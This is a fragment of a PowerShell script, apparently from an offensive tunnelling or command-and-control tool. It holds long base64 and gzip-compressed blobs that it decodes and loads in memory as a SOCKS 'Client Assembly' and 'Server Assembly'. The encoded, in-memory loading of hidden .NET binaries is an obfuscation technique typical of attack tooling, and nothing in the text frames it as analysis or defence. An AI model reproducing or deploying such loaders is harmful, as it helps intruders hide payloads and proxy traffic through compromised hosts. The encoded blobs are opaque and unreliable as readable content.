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"
$Assembly = DecompressAsm($PS)
echo "[+] Client Assembly Loaded"
}
if (($SocksServerLoaded -ne "TRUE") -and ($Server.IsPresent)) {
$Script:SocksServerLoaded = "TRUE"
echo "[-] Loading Server Assembly"
$PS = "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